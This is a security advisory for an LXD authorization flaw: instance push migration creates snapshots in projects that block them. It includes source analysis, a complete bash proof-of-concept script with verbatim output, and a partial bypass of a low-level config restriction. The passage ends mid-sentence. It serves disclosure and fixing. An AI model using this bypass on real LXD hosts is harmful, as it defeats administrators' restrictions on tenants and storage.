# GHSA-M976-4GJW-7VHP: Summary A restricted project can forbid snapshot creation with restricted.snapshots=block

- Database: GitHub
- Severity: CVSS 5.4 (Medium)
- Published: 2026-12-03
- Modified: 2026-12-03

## Tracked as

- [CVE-2026-115842](https://cve.now/CVE-2026-115842.md): lxd: Missing authorization in snapshot creation via instance migration

## Affected versions

- github.com/canonical/lxd (Go): from 5.0, fixed in 6.10.3

## Description

### Summary

A restricted project can forbid snapshot creation with
`restricted.snapshots=block`. That control is enforced by
`projects/limits.AllowSnapshotCreation()`, which is called from six places in
the tree. **None of them is on the instance-migration receive path.**

When a daemon accepts a push-mode instance migration, it creates the instance
record and then, for every snapshot named in the migration header, creates a
**snapshot instance record** with `instance.CreateInternal()`. That code
(`instancePostMigration`, `lxd/instance/drivers/driver_lxc.go:5288-5335` for
containers, `driver_qemu.go:7955-8000` for VMs) never calls
`AllowSnapshotCreation()`. The instance-level restrictions *are* checked on that
path — pushing an instance that itself carries `raw.lxc` into a project with
`restricted.containers.lowlevel=block` is correctly rejected with *"Failed
checking if instance creation allowed: Use of low-level config ... is
forbidden"* — but the **snapshot** restriction is not.

Consequence: a user who holds only a **restricted client certificate** scoped to
a single project, in which the administrator has explicitly set
`restricted.snapshots=block`, can still get snapshots created in that project.
The user only needs a machine they control (where they are an ordinary LXD
administrator) and one `lxc copy --mode=push`. Direct snapshot creation in that
project is refused; the identical operation through the migration path succeeds.

This was reproduced end to end against two real `lxd-main` daemons with the
stock `lxc` CLI and a genuinely restricted certificate (see the transcript
below): the control request fails, the migration succeeds, and the snapshot
appears on the target.

### Technical details

**1) The check exists and is well defined.** `lxd/project/limits/permissions.go:1688`:

```go
// AllowSnapshotCreation returns an error if any project-specific restriction is violated
func AllowSnapshotCreation(p *api.Project) error {
```

Its complete call-site list on `lxd-main` @ 2026-09-30
(`grep -rn 'AllowSnapshotCreation' --include=*.go .`):

| Call site | Path it guards |
|---|---|
| `lxd/instance_post.go:1274` | instance **move** (called via `checkTargetProjectRestrictions`) |
| `lxd/instances_post.go:1188` | backup **restore** (`createFromBackup`) |
| `lxd/instance.go:674` | instance create (`instanceCreateAsCopy` / internal create) |
| `lxd/instance_snapshot.go:280` | `POST /1.0/instances/<n>/snapshots` |
| `lxd/storage_volumes_snapshot.go:122` | `POST /1.0/storage-pools/<p>/volumes/.../snapshots` |
| `lxd/storage_volumes_snapshot.go:1074` | custom-volume snapshot copy |

No entry in that table is reached from `POST /1.0/instances` with
`source.type=migration`.

**2) The neighbouring fix stopped one path short.** The cross-project
restriction bypass (CVE-2026-63300, GHSA-5g5r-wh97-qcq2) was fixed by
`checkTargetProjectRestrictions()` (`lxd/instance_post.go:1214`), which contains
the snapshot check:

```go
// lxd/instance_post.go:1274
if len(snapshots) > 0 {
    err = limits.AllowSnapshotCreation(&restrictions.Project)
    if err != nil {
        return fmt.Errorf("Instance snapshots cannot be placed in project %q: %w", targetProject, err)
    }
}
```

That function has exactly two callers:

* `lxd/instance_post.go:705` — the instance **move** handler.
* `lxd/instances_post.go:838` — inside `createFromCopy()`, i.e. the
  `source.type=copy` create path.

`createFromMigration()` (`lxd/instances_post.go:614-773`) is a separate function
and contains **no** `limits.*` call and **no** `checkTargetProjectRestrictions()`
call at all — verified by grep over that exact line range. The `source.type`
branch the attacker picks therefore decides whether the target project's
snapshot policy is consulted.

**3) The sink is in the driver.** Once the migration operation is negotiated, the
receiver walks the snapshot list from the `MigrationHeader`
(`proto.Snapshots[].Name`) and inserts a snapshot instance per entry:

```go
// lxd/instance/drivers/driver_lxc.go:5295-5332
if args.Snapshots {
    volTargetArgs.Snapshots = make([]string, 0, len(snapshots))
    for _, snap := range snapshots {
        volTargetArgs.Snapshots = append(volTargetArgs.Snapshots, *snap.Name)

        if args.ClusterMoveSourceName != d.name {
            snapArgs, err := instance.SnapshotProtobufToInstanceArgs(d.state, d, snap)   // :5305
            if err != nil {
                return err
            }
            ...
            _, snapInstOp, cleanup, err := instance.CreateInternal(ctx, d.state, *snapArgs, true)  // :5322
            if err != nil {
                return fmt.Errorf("Failed creating instance snapshot record %q: %w", snapArgs.Name, err)
            }
            ...
        }
    }
}
```

The VM path is the same code at `lxd/instance/drivers/driver_qemu.go:7971` and
`:7988`. Neither driver consults `AllowSnapshotCreation` (nor
`AllowInstanceCreation` for the snapshot record).

**4) The attacker is genuinely low-privileged.** No privileged container, no
host namespace, no host mount, no dangerous capability and no Docker/LXD socket
on the target is involved. The attacker's entire foothold on the target host is
a **restricted client certificate** — the lowest privilege level LXD has:

```
lxc config trust add --restricted --projects attacker --name poc-restricted <client.crt>
```

and one reachable HTTPS endpoint. The source daemon is the attacker's own
machine, which is the normal cross-host push-migration topology. The target
daemon's own log confirms the request came in over TLS, authenticated as that
certificate, in the target project:

```
msg="API Request ... "source": {"type": "migration", ..., "mode": "push" ...
ip="127.0.0.1:41516" method=POST protocol=tls url="/1.0/instances?project=attacker"
username=a923285a532de76e65ed944d40fd26e89c09144aacf4ead74e0d12da26947e85
```

with `subject="CN=poc-restricted-attacker"` in the same log.

### Proof of concept (self-contained)

Requirements: a Linux host with `sudo` (only to start/stop the two throwaway
daemons under `sudo -n`), `openssl`, `rsync`, and a built LXD tree — the PoC was
run with `lxd-main` @ 2026-09-30 built from source (`./lxd` + `./lxc`). Point
`LXD_BIN` at the build output directory. All state (two `LXD_DIR`s, two storage
pools, one `LXD_CONF`) is created under the script's own directory and can be
deleted afterwards; nothing outside it is touched, and no image is pulled
(`lxc init --empty`).

The script is a **controlled experiment**, not just an attack:

* **Stage 1 (control)** — `lxc snapshot ... --project attacker` is refused:
  `Error: Project "attacker" does not allow for snapshot creation`. This proves
  the restriction is configured and enforced.
* **Stage 2 (attack)** — one stock-CLI push migration into the same project,
  `lxc copy s:poc-src t:poc-pushed --mode=push -q --target-project attacker`,
  exits 0.
* **Stage 3 (verification)** — the snapshot `presnap` now exists on the
  instance in the restricted project.
* **Stage 3b** — the target daemon's log shows the request was a
  `source.type=migration, mode=push` POST over TLS by the restricted
  certificate.
* **Stage 4 (impact probe)** — a snapshot whose config carries `raw.lxc` is
  migrated into a project with `restricted.containers.lowlevel=block`; the
  snapshot's config reaches the target intact even though setting the same key
  on the instance directly is refused. See *Impact* for the honest bounds.

#### `poc.sh`

```bash
#!/usr/bin/env bash
# =============================================================================
#  LXD -- snapshot creation via the migration receive path bypasses
#  restricted.snapshots=block (CWE-863 authorization bypass)
#
#  Attacker model (low privilege):
#    Holds only a *restricted client certificate* that, on the *target*
#    daemon, is authorized only for project `attacker`, whose configuration is
#    restricted=true + restricted.snapshots=block (i.e. snapshot creation is
#    not allowed). The source daemon is the attacker's own machine (where the
#    attacker is an ordinary administrator) -- this is exactly the normal
#    topology of a "cross-host push migration", not a privileged setup.
#
#  Vulnerability:
#    On the receive side of an instance migration,
#    lxd/instance/drivers/driver_lxc.go instancePostMigration() creates
#    *snapshot instance records* one by one with
#    SnapshotProtobufToInstanceArgs + instance.CreateInternal and never calls
#    limits.AllowSnapshotCreation() anywhere along the way. That check exists
#    only in:
#      instance_post.go:1274 / instance_snapshot.go:280 / instance.go:674 /
#      instances_post.go:1188 / storage_volumes_snapshot.go:122,1074
#    -- none of which is on the migration receive path.
#    => A user forbidden from creating snapshots in a restricted project can
#       still land the source side's snapshots verbatim in the target project
#       by performing a single push migration.
#
#  Control experiment (within the same script):
#    A) a direct `lxc snapshot` inside the restricted project  -> must be refused
#       (proving the restriction really is in force)
#    B) a push migration carrying the source snapshots in      -> if it succeeds,
#       that is the bypass
#
#  Dependencies: built lxd / lxc binaries (see build-lxd.sh), sudo, rsync
# =============================================================================
set -uo pipefail

HERE="$(cd "$(dirname "$0")" && pwd)"
# The real workspace path contains CJK characters, so the build outputs are
# reached through the ASCII alias /tmp/lxd -> the real workspace; if the alias
# is absent, infer the workspace root from this script's own location (it lives
# at <workspace>/advisories/<id>/poc/). Either way the resolved defaults are the
# original /home/yue/<workspace>/lxd/build/{bin,deps}.
LXD_WS=/tmp/lxd
[ -d "$LXD_WS/build/bin" ] || LXD_WS="$(cd "$HERE/../../.." && pwd)"
BIN="${LXD_BIN:-$LXD_WS/build/bin}"
DEPS="${LXD_DEPS:-$LXD_WS/build/deps}"
SRC_PROJECT="${SRC_PROJECT:-default}"
TGT_PROJECT="${TGT_PROJECT:-attacker}"
INST="${INST:-poc-src}"
PUSHED="${PUSHED:-poc-pushed}"
SNAPNAME="${SNAPNAME:-presnap}"

S_DIR="$HERE/s-var"; T_DIR="$HERE/t-var"; CONF="$HERE/conf"
S_HTTPS="127.0.0.1:8453"; T_HTTPS="127.0.0.1:8454"
export LD_LIBRARY_PATH="$DEPS/lib:${LD_LIBRARY_PATH:-}"

say() { printf '\n\033[1;36m>>> %s\033[0m\n' "$*"; }
ok()  { printf '\033[1;32m[OK]\033[0m %s\n' "$*"; }
bad() { printf '\033[1;31m[FAIL]\033[0m %s\n' "$*"; }
warn(){ printf '\033[1;33m[!!]\033[0m %s\n' "$*"; }

# ------------------------------------------------------------ daemon lifecycle --
start_daemon() { # $1=LXD_DIR $2=logfile
  local d="$1" log="$2"
  mkdir -p "$d"; chmod 0711 "$d"
  if [ -S "$d/unix.socket" ] && sudo -n test -S "$d/unix.socket"; then
    if LXD_DIR="$d" timeout 5 "$BIN/lxc" list >/dev/null 2>&1; then
      echo "  daemon @ $d already running"; return 0
    fi
  fi
  sudo -n env LXD_DIR="$d" LD_LIBRARY_PATH="$LD_LIBRARY_PATH" \
    nohup "$BIN/lxd" --group yue --debug >"$log" 2>&1 &
  for _ in $(seq 1 60); do
    LXD_DIR="$d" timeout 5 "$BIN/lxc" list >/dev/null 2>&1 && { echo "  daemon @ $d ready"; return 0; }
    sleep 2
  done
  echo "  daemon @ $d startup timed out"; return 1
}

stop_all() {
  for pat in "$S_DIR" "$T_DIR"; do
    for p in $(pgrep -f "$BIN/lxd" 2>/dev/null); do
      tr '\0' ' ' <"/proc/$p/environ" 2>/dev/null | grep -q "LXD_DIR=$pat" && sudo -n kill "$p" 2>/dev/null
    done
  done
  sleep 2
}

cli_s() { LXD_DIR="$S_DIR" timeout 120 "$BIN/lxc" "$@"; }
cli_t() { LXD_DIR="$T_DIR" timeout 120 "$BIN/lxc" "$@"; }

# ================================================================== Stage 0 ====
say "Stage 0 (admin/attacker-owned environment): prepare two isolated daemons and the restricted certificate"

mkdir -p "$CONF"
# A single shared LXD_CONF -> one unique CLI client certificate, trusted by both daemons at once
export LXD_CONF="$CONF"
CLIENT_CRT="$CONF/client.crt"
CLIENT_KEY="$CONF/client.key"
if [ ! -f "$CLIENT_CRT" ]; then
  openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes \
    -keyout "$CLIENT_KEY" -out "$CLIENT_CRT" -days 3650 \
    -subj "/CN=poc-restricted-attacker" >/dev/null 2>&1
fi
[ -f "$CLIENT_CRT" ] || { bad "client certificate was not generated at $CLIENT_CRT"; exit 1; }
ok "attacker client certificate: $CLIENT_CRT"

start_daemon "$S_DIR" "$HERE/s-lxd.log" || exit 1
start_daemon "$T_DIR" "$HERE/t-lxd.log" || exit 1

say "Stage 0a: configure the external HTTPS listener on both daemons"
for pair in "$S_DIR $S_HTTPS" "$T_DIR $T_HTTPS"; do
  set -- $pair
  if [ ! -S "$1/unix.socket" ]; then bad "missing socket for $1"; exit 1; fi
  LXD_DIR="$1" "$BIN/lxc" config set core.https_address "$2" >/dev/null 2>&1 \
    && echo "  $1 -> https://$2" || warn "setting core.https_address=$2 failed (may already be set)"
done
sleep 2

say "Stage 0b: create a dir storage pool 'default' and the default profile on each side"
for d in "$HERE/s-pool" "$HERE/t-pool"; do mkdir -p "$d"; chmod 0711 "$d"; done
for pair in "$S_DIR $HERE/s-pool" "$T_DIR $HERE/t-pool"; do
  set -- $pair
  LXD_DIR="$1" "$BIN/lxc" storage show default >/dev/null 2>&1 || \
    LXD_DIR="$1" "$BIN/lxc" storage create default dir source="$2" >/dev/null 2>&1
done
for d in "$S_DIR" "$T_DIR"; do
  cat >"$HERE/default.profile" <<'EOF'
config: {}
description: poc default
devices:
  root:
    path: /
    pool: default
    type: disk
name: default
EOF
  LXD_DIR="$d" "$BIN/lxc" profile edit default <"$HERE/default.profile" >/dev/null 2>&1
done
ok "default pool and profile ready on both daemons"

say "Stage 0c: create the [restricted project attacker: restricted.snapshots=block] on the target"
if ! cli_t project show "$TGT_PROJECT" >/dev/null 2>&1; then
  cli_t project create "$TGT_PROJECT" \
    -c features.images=true -c features.profiles=true \
    -c restricted=true -c restricted.snapshots=block >/dev/null
fi
cli_t project show "$TGT_PROJECT" | sed -n '1,20p'
cli_t profile device add default root disk path=/ pool=default --project "$TGT_PROJECT" >/dev/null 2>&1
ok "restricted project $TGT_PROJECT ready (restricted.snapshots=block)"

say "Stage 0d: register the same client certificate on both daemons"
# Source side: ordinary trust (the attacker's own machine; unrestricted)
C="$CLIENT_CRT" cli_s config trust list --format json 2>/dev/null | C="$CLIENT_CRT" python3 -c "
import json,os,sys
w=open(os.environ['C']).read().strip()
sys.exit(0 if any(x['certificate'].strip()==w for x in json.load(sys.stdin)) else 1)" \
  || cli_s config trust add --name poc-attacker "$CLIENT_CRT" >/dev/null
ok "source side: certificate trusted (unrestricted)"
# Target side: *restricted*, authorized only for project attacker
C="$CLIENT_CRT" cli_t config trust list --format json 2>/dev/null | C="$CLIENT_CRT" python3 -c "
import json,os,sys
w=open(os.environ['C']).read().strip()
sys.exit(0 if any(x['certificate'].strip()==w for x in json.load(sys.stdin)) else 1)" \
  || cli_t config trust add --restricted --projects "$TGT_PROJECT" \
      --name poc-restricted "$CLIENT_CRT" >/dev/null
ok "target side: certificate registered as restricted -> project $TGT_PROJECT only"

say "Stage 0e: register two HTTPS remotes in the CLI (both use the same restricted certificate)"
"$BIN/lxc" remote show s >/dev/null 2>&1 || \
  "$BIN/lxc" remote add s "https://$S_HTTPS" --auth-type=tls --accept-certificate >/dev/null 2>&1
"$BIN/lxc" remote show t >/dev/null 2>&1 || \
  "$BIN/lxc" remote add t "https://$T_HTTPS" --auth-type=tls --accept-certificate >/dev/null 2>&1
"$BIN/lxc" remote list | sed -n '1,10p'

say "Stage 0f: create an instance with a snapshot on the source side (the source side is controlled by the attacker)"
cli_s delete --force "$INST" >/dev/null 2>&1 || true
INIT_OUT=$(cli_s init --empty "$INST" --project "$SRC_PROJECT" 2>&1) || { bad "failed to create source instance: $INIT_OUT"; exit 1; }
SNAP_OUT=$(cli_s snapshot "$INST" "$SNAPNAME" --project "$SRC_PROJECT" 2>&1) || { bad "failed to create source snapshot: $SNAP_OUT"; exit 1; }
ok "source side $SRC_PROJECT/$INST now has snapshot '$SNAPNAME'"
cli_s list "$INST" --project "$SRC_PROJECT"
cli_s info "$INST" --project "$SRC_PROJECT" | grep -iA3 "^Snapshots"

# ============================================================== Stage 1 control ==
say "Stage 1 (control): a **direct** snapshot inside the restricted project -- expected to be refused"
OUT=$(cli_t snapshot "$PUSHED" "direct-snap" --project "$TGT_PROJECT" 2>&1)
echo "  output: $OUT"
case "$OUT" in
  *"does not allow for snapshot creation"*|*"restricted"*)
     ok "direct snapshot refused -- restricted.snapshots=block is really in force" ;;
  *) warn "did not see the expected refusal message; please verify manually" ;;
esac

# ============================================================== Stage 2 attack ==
say "Stage 2 (attack): push migration carries the source snapshots into the restricted project"
echo "  command: lxc copy s:$INST t:$PUSHED --mode=push -q --target-project $TGT_PROJECT"
cli_t delete --force "$PUSHED" --project "$TGT_PROJECT" >/dev/null 2>&1 || true
OUT=$("$BIN/lxc" copy "s:$INST" "t:$PUSHED" --mode=push -q --target-project "$TGT_PROJECT" 2>&1)
RC=$?
echo "  exit code: $RC"
echo "$OUT" | sed 's/^/  | /'

# ============================================================== Stage 3 verify ==
say "Stage 3 (verification): did the migrated instance arrive with the snapshot?"
LIST=$(cli_t list "$PUSHED" --project "$TGT_PROJECT" 2>&1)
echo "$LIST" | sed 's/^/  | /'
INFO=$(cli_t info "$PUSHED" --project "$TGT_PROJECT" 2>&1)
echo "$INFO" | sed -n '/^Snapshots/,$p' | sed 's/^/  | /'

if echo "$INFO" | grep -q "$SNAPNAME"; then
  ok "snapshot '$SNAPNAME' now exists on instance $PUSHED in restricted project $TGT_PROJECT!"
  echo
  echo "     control: direct snapshot in the same project was refused (Stage 1)"
  echo "     attack:  snapshot creation via the push migration receive path succeeded (Stage 3)"
  echo "     >>> CONFIRMED: the migration receive path lacks the limits.AllowSnapshotCreation check <<<"
  VERDICT=confirmed
else
  bad "no snapshot seen on the target instance -- this vector did not go through"
  echo "  hint: check $HERE/t-lxd.log for 'Snapshot' / 'does not allow' lines"
  grep -n "snapshot\|Snapshot" "$HERE/t-lxd.log" | tail -20
  VERDICT=disproven
fi

# ==================================================== Stage 3b daemon-side proof ==
say "Stage 3b (daemon-side corroboration): it is the [restricted certificate] that issued the migration request"
echo "  migration request recorded by the target daemon (protocol=tls => from a network client, not a unix socket):"
grep -E 'method=POST protocol=tls url="/1\.0/instances\?project=' "$HERE/t-lxd.log" | tail -1 \
  | sed 's/^/    /'
echo "  the request's username= is the certificate fingerprint, corresponding to the registered subject below:"
grep -oE 'subject="CN=[^"]*"' "$HERE/t-lxd.log" | sort -u | sed 's/^/    /'
echo "  (in Stage 0d this certificate was registered on the target with --restricted --projects $TGT_PROJECT)"

# ======================================================= Stage 4 impact widening ==
say "Stage 4 (impact widening): is the **low-level config** carried by the snapshot also brought into the restricted project?"
PUSHED2="${PUSHED2:-poc-pushed-low}"
SNAP_CFG="${SNAP_CFG:-cfg-snap}"

echo "  4a) source side: set raw.lxc on the instance -> take a snapshot -> then remove raw.lxc from the parent (the snapshot keeps it)"
cli_s config set "$INST" raw.lxc='lxc.environment=POCTAG=1' >/dev/null 2>&1
cli_s delete --force "$INST/$SNAP_CFG" --project "$SRC_PROJECT" >/dev/null 2>&1
cli_s snapshot "$INST" "$SNAP_CFG" --project "$SRC_PROJECT" >/dev/null 2>&1
cli_s config unset "$INST" raw.lxc >/dev/null 2>&1
echo "     parent raw.lxc count: $(cli_s config show "$INST" | grep -c 'raw.lxc')  (expected 0)"
echo "     source snapshot $SNAP_CFG config:"
cli_s config show "$INST/$SNAP_CFG" | sed -n '/^config:/,/^devices:/p' | sed 's/^/       /'

echo "  4b) add one more block on the target side: restricted.containers.lowlevel=block"
cli_t project set "$TGT_PROJECT" restricted.containers.lowlevel=block >/dev/null 2>&1
cli_t project show "$TGT_PROJECT" | grep -E 'restricted' | sed 's/^/       /'

echo "  4c) control: **directly** set raw.lxc in the restricted project (on $PUSHED, migrated in Stage 2) -- expected to be refused"
OUT=$(cli_t config set "$PUSHED" raw.lxc='lxc.environment=EVIL=1' --project "$TGT_PROJECT" 2>&1)
echo "      output: $OUT"
case "$OUT" in
  *"Use of low-level config"*) ok "low-level config refused in the restricted project -- restricted.containers.lowlevel is in force" ;;
  *) warn "did not see the expected refusal message; please verify manually" ;;
esac

echo "  4d) attack: push migration (parent is clean; only the snapshot carries raw.lxc)"
cli_t delete --force "$PUSHED2" --project "$TGT_PROJECT" >/dev/null 2>&1 || true
OUT=$("$BIN/lxc" copy "s:$INST" "t:$PUSHED2" --mode=push -q --target-project "$TGT_PROJECT" 2>&1)
echo "      exit code: $?"; echo "$OUT" | sed 's/^/      | /'

echo "  4e) target-side snapshot config (key question: does raw.lxc cross the lowlevel block?)"
CFG=$(cli_t config show "$PUSHED2/$SNAP_CFG" --project "$TGT_PROJECT" 2>&1)
echo "$CFG" | sed -n '/^config:/,/^devices:/p' | sed 's/^/       /'
if echo "$CFG" | grep -q 'raw.lxc'; then
  ok "the raw.lxc carried by the snapshot config **crossed** restricted.containers.lowlevel=block"
  LOWLEVEL_CARRIED=yes
else
  warn "there is no raw.lxc in the snapshot config (this environment behaves differently than expected)"
  LOWLEVEL_CARRIED=no
fi

echo "  4f) can the snapshot config be poured back into the instance? trying restore --"
OUT=$(cli_t restore "$PUSHED2" "$SNAP_CFG" --project "$TGT_PROJECT" 2>&1)
echo "      output: $OUT"
if [ "${LOWLEVEL_CARRIED:-no}" = yes ]; then
  case "$OUT" in
    *forbidden*|*Forbidden*) warn "restore refused -> the low-level config carried into the project is currently **not further exploitable** (recorded as a residual only)" ;;
    *) warn "restore did not error; please manually confirm whether the instance config gained raw.lxc" ;;
  esac
fi

say "done (verdict=$VERDICT)"
[ "$VERDICT" = confirmed ]
```

### Reproduction result

Verbatim output of `./poc.sh` (Ubuntu 20.04.6 LTS, kernel 5.15.0-139,
`lxd-main` @ 2026-09-30, two local daemons on `127.0.0.1:8453` / `127.0.0.1:8454`,
`dir` storage pools). The decisive lines are marked with `>>>`.

```text
Script started on 2026-09-30 05:23:17-07:00 [<not executed on terminal>]

>>> Stage 0 (admin/attacker-owned environment): prepare two isolated daemons and the restricted certificate
[OK] attacker client certificate: /tmp/lxd/advisories/lxd-2026-006-migration-snapshot-restriction-bypass/poc/conf/client.crt
  daemon @ /tmp/lxd/advisories/lxd-2026-006-migration-snapshot-restriction-bypass/poc/s-var ready
  daemon @ /tmp/lxd/advisories/lxd-2026-006-migration-snapshot-restriction-bypass/poc/t-var ready

>>> Stage 0a: configure the external HTTPS listener on both daemons
  /tmp/lxd/advisories/lxd-2026-006-migration-snapshot-restriction-bypass/poc/s-var -> https://127.0.0.1:8453
  /tmp/lxd/advisories/lxd-2026-006-migration-snapshot-restriction-bypass/poc/t-var -> https://127.0.0.1:8454

>>> Stage 0b: create a dir storage pool 'default' and the default profile on each side
[OK] default pool and profile ready on both daemons

>>> Stage 0c: create the [restricted project attacker: restricted.snapshots=block] on the target
name: attacker
description: ""
config:
  features.images: "true"
  features.profiles: "true"
  features.storage.buckets: "true"
  features.storage.volumes: "true"
  restricted: "true"
  restricted.snapshots: block
used_by:
- /1.0/profiles/default?project=attacker
replica_mode: ""
[OK] restricted project attacker ready (restricted.snapshots=block)

>>> Stage 0d: register the same client certificate on both daemons
[OK] source side: certificate trusted (unrestricted)
[OK] target side: certificate registered as restricted -> project attacker only

>>> Stage 0e: register two HTTPS remotes in the CLI (both use the same restricted certificate)
+----------------------+---------------------------------------------------+---------------+-------------+--------+--------+--------+
|         NAME         |                        URL                        |   PROTOCOL    |  AUTH TYPE  | PUBLIC | STATIC | GLOBAL |
+----------------------+---------------------------------------------------+---------------+-------------+--------+--------+--------+
| images               | https://images.lxd.canonical.com                  | simplestreams | none        | YES    | YES    | NO     |
+----------------------+---------------------------------------------------+---------------+-------------+--------+--------+--------+
| local (current)      | unix://                                           | lxd           | file access | NO     | YES    | NO     |
+----------------------+---------------------------------------------------+---------------+-------------+--------+--------+--------+
| s                    | https://127.0.0.1:8453                            | lxd           | tls         | NO     | NO     | NO     |
+----------------------+---------------------------------------------------+---------------+-------------+--------+--------+--------+
| t                    | https://127.0.0.1:8454                            | lxd           | tls         | NO     | NO     | NO     |

>>> Stage 0f: create an instance with a snapshot on the source side (the source side is controlled by the attacker)
[OK] source side default/poc-src now has snapshot 'presnap'
+---------+---------+------+------+-----------+-----------+
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| poc-src | STOPPED |      |      | CONTAINER | 1         |
+---------+---------+------+------+-----------+-----------+
Snapshots:
+---------+----------------------+------------+----------+------------------+
|  NAME   |       TAKEN AT       | EXPIRES AT | STATEFUL | VOLUME SNAPSHOTS |
+---------+----------------------+------------+----------+------------------+

>>> Stage 1 (control): a **direct** snapshot inside the restricted project -- expected to be refused
  output: Error: Project "attacker" does not allow for snapshot creation
[OK] direct snapshot refused -- restricted.snapshots=block is really in force

>>> Stage 2 (attack): push migration carries the source snapshots into the restricted project
  command: lxc copy s:poc-src t:poc-pushed --mode=push -q --target-project attacker
  exit code: 0
  | 

>>> Stage 3 (verification): did the migrated instance arrive with the snapshot?
  | +------------+---------+------+------+-----------+-----------+
  | |    NAME    |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
  | +------------+---------+------+------+-----------+-----------+
  | | poc-pushed | STOPPED |      |      | CONTAINER | 1         |
  | +------------+---------+------+------+-----------+-----------+
  | Snapshots:
  | +---------+----------------------+------------+----------+------------------+
  | |  NAME   |       TAKEN AT       | EXPIRES AT | STATEFUL | VOLUME SNAPSHOTS |
  | +---------+----------------------+------------+----------+------------------+
  | | presnap | 2026/09/30 05:23 PDT |            | NO       |                  |
  | +---------+----------------------+------------+----------+------------------+
[OK] snapshot 'presnap' now exists on instance poc-pushed in restricted project attacker!

     control: direct snapshot in the same project was refused (Stage 1)
     attack:  snapshot creation via the push migration receive path succeeded (Stage 3)
     >>> CONFIRMED: the migration receive path lacks the limits.AllowSnapshotCreation check <<<

>>> Stage 3b (daemon-side corroboration): it is the [restricted certificate] that issued the migration request
  migration request recorded by the target daemon (protocol=tls => from a network client, not a unix socket):
    time="2026-09-30T05:23:25-07:00" level=debug msg="API Request\n\t{\n\t\t\"architecture\": \"x86_64\",\n\t\t\"config\": {},\n\t\t\"devices\": {},\n\t\t\"ephemeral\": false,\n\t\t\"profiles\": [\n\t\t\t\"default\"\n\t\t],\n\t\t\"stateful\": false,\n\t\t\"description\": \"\",\n\t\t\"name\": \"poc-pushed\",\n\t\t\"source\": {\n\t\t\t\"type\": \"migration\",\n\t\t\t\"certificate\": \"\",\n\t\t\t\"image_registry\": \"\",\n\t\t\t\"mode\": \"push\",\n\t\t\t\"allow_inconsistent\": false,\n\t\t\t\"source_disk_size\": 0,\n\t\t\t\"conversion_options\": null,\n\t\t\t\"override_snapshot_profiles\": false\n\t\t},\n\t\t\"instance_type\": \"\",\n\t\t\"type\": \"container\",\n\t\t\"start\": false\n\t}" ip="127.0.0.1:33560" method=POST protocol=tls url="/1.0/instances?project=attacker" username=37bf77a86c6b51033d5ae9eb4277ed82fb89e76aaf16332b0e841dc262043b91
  the request's username= is the certificate fingerprint, corresponding to the registered subject below:
    subject="CN=poc-restricted-attacker"
  (in Stage 0d this certificate was registered on the target with --restricted --projects attacker)

>>> Stage 4 (impact widening): is the **low-level config** carried by the snapshot also brought into the restricted project?
  4a) source side: set raw.lxc on the instance -> take a snapshot -> then remove raw.lxc from the parent (the snapshot keeps it)
     parent raw.lxc count: 0  (expected 0)
     source snapshot cfg-snap config:
       config:
         raw.lxc: lxc.environment=POCTAG=1
         volatile.apply_template: create
         volatile.cloud-init.instance-id: 7042118a-e952-47a0-9dbe-79a61c6486d6
         volatile.idmap.base: "0"
         volatile.idmap.next: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":1000000000},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":1000000000}]'
         volatile.last_state.idmap: '[]'
         volatile.uuid: 82ea210e-b868-412f-884a-26805a787088
         volatile.uuid.generation: 82ea210e-b868-412f-884a-26805a787088
       created_at: 2026-09-30T12:23:26.761217729Z
       expires_at: 0001-01-01T00:00:00Z
       devices: {}
  4b) add one more block on the target side: restricted.containers.lowlevel=block
         restricted: "true"
         restricted.containers.lowlevel: block
         restricted.snapshots: block
  4c) control: **directly** set raw.lxc in the restricted project (on poc-pushed, migrated in Stage 2) -- expected to be refused
      output: Error: Failed checking if instance update allowed: Use of low-level config "raw.lxc" on container "poc-pushed" of project "attacker" is forbidden
[OK] low-level config refused in the restricted project -- restricted.containers.lowlevel is in force
  4d) attack: push migration (parent is clean; only the snapshot carries raw.lxc)
      exit code: 0
      | 
  4e) target-side snapshot config (key question: does raw.lxc cross the lowlevel block?)
       config:
         raw.lxc: lxc.environment=POCTAG=1
         volatile.apply_template: create
         volatile.cloud-init.instance-id: 7042118a-e952-47a0-9dbe-79a61c6486d6
         volatile.idmap.base: "0"
         volatile.idmap.next: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":1000000000},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":1000000000}]'
         volatile.last_state.idmap: '[]'
         volatile.uuid: 82ea210e-b868-412f-884a-26805a787088
         volatile.uuid.generation: 82ea210e-b868-412f-884a-26805a787088
       created_at: 2026-09-30T05:23:26-07:00
       expires_at: 0000-12-31T16:07:02-07:52
       devices: {}
[OK] the raw.lxc carried by the snapshot config **crossed** restricted.containers.lowlevel=block
  4f) can the snapshot config be poured back into the instance? trying restore --
      output: Error: Changing "volatile.uuid" on container "poc-pushed-low" in project "attacker" is forbidden
[!!] restore refused -> the low-level config carried into the project is currently **not further exploitable** (recorded as a residual only)

>>> done (verdict=confirmed)

Script done on 2026-09-30 05:23:29-07:00 [COMMAND_EXIT_CODE="0"]
```

### Impact

**Confirmed:** bypass of a project security restriction, i.e. an authorization
defect (`can_create_instances` in a restricted project is being used to do
something the project explicitly forbids). Concretely, a user the administrator
has confined to a project with `restricted.snapshots=block` can create snapshots
in that project at will.

The practical consequences inside the target project are:

1. **Quota / resource-control evasion.** Snapshots occupy space in the project's
   storage pool, which is shared with the other tenants on the same pool. A
   restricted user who is denied snapshots — typically exactly because the
   project has a storage budget — can now consume pool space with them
   repeatedly.
2. **A rolled-back state the project did not authorise.** Snapshots are the
   basis of `lxc restore`; the project's policy treats them as a capability it
   withholds. The snapshots also persist on the target after the migration
   operation is cleaned up.

**Secondary observation, with explicit bounds.** The migrated *snapshot's*
config is written verbatim, so a snapshot can carry keys the target project
blocks on the instance itself — reproduced with `raw.lxc` under
`restricted.containers.lowlevel=block` (stage 4e). I was **not** able to turn
that into an applied low-level config: `lxc restore` of that snapshot on the
target is refused (`Error: Changing "volatile.uuid" on container
"poc-pushed-low" in project "attacker" is forbidden`, stage 4f), and there is no
other operation that copies a snapshot's config back onto an instance. I
therefore report this as an observed residual — snapshot configs skip both the
